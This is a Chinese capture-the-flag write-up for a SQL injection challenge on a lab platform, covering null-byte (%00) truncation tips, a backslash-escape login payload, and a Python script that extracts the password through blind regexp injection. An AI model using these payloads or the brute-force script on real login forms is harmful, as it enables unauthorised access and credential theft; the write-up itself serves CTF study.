前言
关键字:[%00|regexp|sql注入regexp]
题解
首先先fuzz一下,检测如下字符
这过滤的也太全了。
试了试不太行。找找看有没有其他线索
打开/robots.txt
,里面有提示/hint.txt
%00发包要点
php<5.3.4,且magic_quotes_gpc==off可进行%00截断
%00
不能在浏览器中打,会被编码成%2500
在很老的burpsuite版本中需要转到hex改00
刚试了下2020.6版可以直接打%00
2021版直接就把hex栏给取消了,不过可以直接打。python中传%00
不能直接传,需要parse.unquote('%00')
2021年11月18日18:07:49
测试python3.9中无论是GET/POST,放URL里,还是放params/data里,都可以正常打。
浏览器中GET可以直接打,hackbar里POST会提示URI malformed
postman里直接打%2500
就好
在此测试下%00截断,payload:
username=\&passwd=||1;%00
若是成功会有个302重定向,说明可行
利用regexp查值
默认不区分大小写。
先快速跑一下,看看回显
然后跑脚本吧
import string
import requests
import time
from urllib import parse
url = 'http://6c177fcd-3eaf-4520-9cab-fd073e403007.node4.buuoj.cn/'
result = ''
# 26个字母+数字+一些符号,小心通配符
s = string.ascii_lowercase + string.digits + '_{}'
last = 'tmp'
while(result != last):
last = result
for i in s:
payload = "||(passwd)regexp(\"^{}\");{}".format(
(result+i), parse.unquote('%00'))
data = {
"username": "\\",
"passwd": payload
}
res = requests.post(url, data=data)
if res.status_code == 503:
print('Too fast')
break
if b'welcome' in res.content:
result += i
print(result)
break
time.sleep(0.05)
print('[*]'+result)
跑出
you_will_never_know7788990
账号随便输,密码就这个,登陆下,结束。